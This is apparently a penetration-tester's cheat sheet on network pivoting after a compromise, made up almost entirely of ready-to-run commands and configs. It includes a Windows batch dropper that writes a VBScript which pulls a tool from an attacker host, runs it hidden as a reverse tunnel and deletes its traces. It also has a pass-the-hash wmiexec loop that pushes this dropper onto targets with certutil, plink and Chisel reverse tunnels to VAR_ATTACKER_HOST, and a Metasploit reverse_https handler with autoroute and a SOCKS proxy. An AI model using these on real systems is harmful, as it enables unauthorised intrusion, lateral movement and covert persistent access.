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Target.Network.Pivoting.txt
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Target.Network.Pivoting.txt
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`` Tunneling
`` sshuttle
~$ sshuttle -r VAR_USERNAME@VAR_TARGET_HOST VAR_TARGET_CIDR
`` ssf
`` polipo.conf
socksParentProxy = "127.0.0.1:8888"
socksProxyType = socks5
proxyAddress = "127.0.0.1"
proxyPort = 8881
logFile = "~/var/log/polipo"
diskCacheRoot = "~/var/cache/polipo"
`` Local (ssf.json)
{
"ssf": {
"tls" : {
"ca_cert_path": "./certs/trusted/ca.crt",
"cert_path": "./certs/certificate.crt",
"key_path": "./certs/private.key",
"key_password": "VAR_PASSWORD",
"dh_path": "./certs/dh4096.pem",
"cipher_alg": "DHE-RSA-AES256-GCM-SHA384"
},
"services": {
"datagram_forwarder": { "enable": true },
"datagram_listener": { "enable": true, "gateway_ports": false },
"stream_forwarder": { "enable": true }, "stream_listener": { "enable": true, "gateway_ports": false },
"copy": { "enable": true },
"shell": { "enable": true, "path": "/bin/bash", "args": "" },
"socks": { "enable": true }
}
}
}
~$ ssfd -l VAR_ATTACKER_HOST -p 11111 -c ssf.json
`` Remote (ssf.json)
{"ssf":{"arguments":"-F 8888 -p 11111 VAR_ATTACKER_HOST -m 99999 -t 15","tls":{"key_password":"VAR_PASSWORD"}}}
`` Deployment (ssf.bat)
@echo off
REM ssf.bat <ip> <port-socks> <port-remote>
REM ssf.exe -F <port-socks> -p <port-remote> VAR_ATTACKER_HOST -m 99999
REM ssf.exe -F 8888 -p 11111 <ip> -m 99999
cd /D "%~dp0"
setlocal
set vbs="wallpaper.vbs"
if exist %vbs% del /f /q %vbs%
>%vbs% echo Dim s_EnvArch, http, binary, fso, objShell, ZipFile, ShellScript
>>%vbs% echo s_EnvArch = CreateObject("WScript.Shell").ExpandEnvironmentStrings("x86")
>>%vbs% echo If Err.Number = 0 Then
>>%vbs% echo Select Case s_EnvArch
>>%vbs% echo Case "x86"
>>%vbs% echo s_Arch = "32"
>>%vbs% echo Case "AMD64"
>>%vbs% echo s_Arch = "64"
>>%vbs% echo End Select
>>%vbs% echo Else
>>%vbs% echo s_Arch = "Fail"
>>%vbs% echo End If
>>%vbs% echo URL = "http://%1/ssf-" ^& s_Arch ^& ".zip"
>>%vbs% echo ZipFile = "ssf.zip"
>>%vbs% echo Wscript.Echo "Pulling " ^& URL ^& "..."
>>%vbs% echo Set http = Nothing
>>%vbs% echo Set http = CreateObject("Microsoft.XMLHTTP")
>>%vbs% echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP")
>>%vbs% echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest")
>>%vbs% echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
>>%vbs% echo Set binary = createobject("Adodb.Stream")
>>%vbs% echo http.Open "GET", URL, False
>>%vbs% echo http.Send
>>%vbs% echo with binary
>>%vbs% echo .type = 1
>>%vbs% echo .open
>>%vbs% echo .write http.responseBody
>>%vbs% echo .savetofile ZipFile, 2
>>%vbs% echo end with
>>%vbs% echo Set http = Nothing
>>%vbs% echo Set binary = Nothing
>>%vbs% echo Set fso = CreateObject("Scripting.FileSystemObject")
>>%vbs% echo Set objShell = CreateObject("Shell.Application")
>>%vbs% echo CurrentDirectory = fso.GetParentFolderName(WScript.ScriptFullName)
>>%vbs% echo PathSource = fso.BuildPath(CurrentDirectory, "ssf.zip")
>>%vbs% echo PathExtract = fso.BuildPath(CurrentDirectory, "ssf")
>>%vbs% echo Set ZipFile = objShell.NameSpace(PathSource).items
>>%vbs% echo WScript.Echo "Extracting..."
>>%vbs% echo For Each objItem in ZipFile
>>%vbs% echo WScript.Echo objItem.Name
>>%vbs% echo Next
>>%vbs% echo If fso.FolderExists(PathExtract) Then
>>%vbs% echo fso.DeleteFolder PathExtract
>>%vbs% echo End If
>>%vbs% echo fso.CreateFolder(PathExtract)
>>%vbs% echo objShell.Namespace(PathExtract).CopyHere(ZipFile)
>>%vbs% echo Set objShell = Nothing
>>%vbs% echo Set objShell = CreateObject("WScript.Shell")
>>%vbs% echo objShell.CurrentDirectory = fso.BuildPath(CurrentDirectory, "ssf")
>>%vbs% echo Set objFile = fso.CreateTextFile("config.json", True)
>>%vbs% echo objFile.Write "{""ssf"": {""tls"": {""key_password"": ""VAR_PASSWORD""}}}"
>>%vbs% echo objFile.Close
>>%vbs% echo execPath = "ssf.exe -F %2 -p %3 %1 -m 99999 -t 15"
>>%vbs% echo objShell.Run execPath, 0, False
>>%vbs% echo Set objShell = Nothing
>>%vbs% echo Set fso = Nothing
>>%vbs% echo Set objShell = Nothing
>>%vbs% echo Set ZipFile = Nothing
cscript //nologo %vbs%
del /f /q %vbs%
del /f /q ssf\config.json
del /f /q ssf.zip
del /f /q ssf.b64
del /f /q ssf.bat
`` Deployment (downloader)
#!/usr/bin/env bash
NTLM_HASH=
DOMAIN=
USERNAME=
IP_SERVER=
IP_TARGET=
PORT_SOCKS=8888
PORT_REMOTE=11111
declare -a CMDS=(
"certutil.exe -urlcache -split -f \"http://$IP_SERVER/ssf.b64\" %temp%\ssf.b64"
"certutil -decode %temp%\ssf.b64 %temp%\ssf.bat"
"%temp%\ssf.bat $IP_SERVER $PORT_SOCKS $PORT_REMOTE"
)
for i in "${CMDS[@]}"
do
wmiexec.py -hashes $NTLM_HASH $DOMAIN/$USERNAME@$IP_TARGET "$i"
done
`` Port forwarding
`` tcpforward
~$ tcpforward -v -l 0.0.0.0:37999 -c localhost:3306
~$ tcpforward -v -l localhost:6666 -c VAR_ATTACKER_HOST:37999
`` Windows
`` netsh
~> netsh interface portproxy add v4tov4 listenport=37999 listenaddress=0.0.0.0 connectport=443 connectaddress=VAR_ATTACKER_HOST
`` plink.exe
~> plink -l VAR_USERNAME -pw VAR_PASSWORD -R 8889:127.0.0.1:3389 VAR_ATTACKER_HOST
`` nc
~$ mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe
`` Proxying
`` ncat
~$ ncat -lvkp 8080 -c "ncat --ssl VAR_TARGET_HOST 443"
`` socat
~$ socat tcp-listen:8080,fork tcp:VAR_TARGET_HOST:80
~$ socat tcp-listen:8080,fork openssl:VAR_TARGET_HOST:443,verify=0
~$ socat tcp-listen:445,reuseaddr,fork tcp:localhost:9445
~$ socat-ssl23 tcp-listen:8443,fork openssl:VAR_TARGET_HOST:443,verify=0
`` SOCKS
`` ssh
`` SOCKS over socat
~$ socat TCP-LISTEN:10022,fork SOCKS4:socks.VAR_TARGET_HOST:ssh-serv:22
~$ ssh -p 10022 loopback
`` a.VAR_TARGET_HOST -> b.VAR_TARGET_HOST -> c.VAR_TARGET_HOST -> d.VAR_TARGET_HOST -> Internet
a~$ ssh -2 -C -D 55557 -L 55556:127.0.0.1:55556 -L 55555:127.0.0.1:55555 [email protected]_TARGET_HOST
b~$ ssh -2 -C -D 55556 -L 55555:127.0.0.1:55555 [email protected]_TARGET_HOST
c~$ ssh -2 -C -D 55555 [email protected]_TARGET_HOST
`` SSH
~$ ssh -N -f -D 9000 username@VAR_TARGET_HOST
[ENTER] + [~C]
-D 1090
`` ncat
~$ ncat --proxy socks.VAR_TARGET_HOST:8000 --proxy-type socks4 VAR_TARGET_HOST 80
`` Firefox
network.proxy.socks_remote_dns = true
`` Metasploit
> use multi/handler
> set payload windows/meterpreter/reverse_https
> set lhost VAR_ATTACKER_HOST
> set lport VAR_ATTACKER_PORT
> set ExitOnSession false
> run -j
> use multi/manage/autoroute
> set session 1
> run
> use auxiliary/server/socks_proxy
> set version 4a
> set srvhost 127.0.0.1
> run -j
`` Chisel
-- On attacker machine
~$ ./chisel server -v -p VAR_ATTACKER_PORT --reverse
-- On victim machine
~$ ./chisel client -v VAR_ATTACKER_HOST:VAR_ATTACKER_PORT R:socks
~> chisel.exe client VAR_ATTACKER_HOST:VAR_ATTACKER_PORT R:socks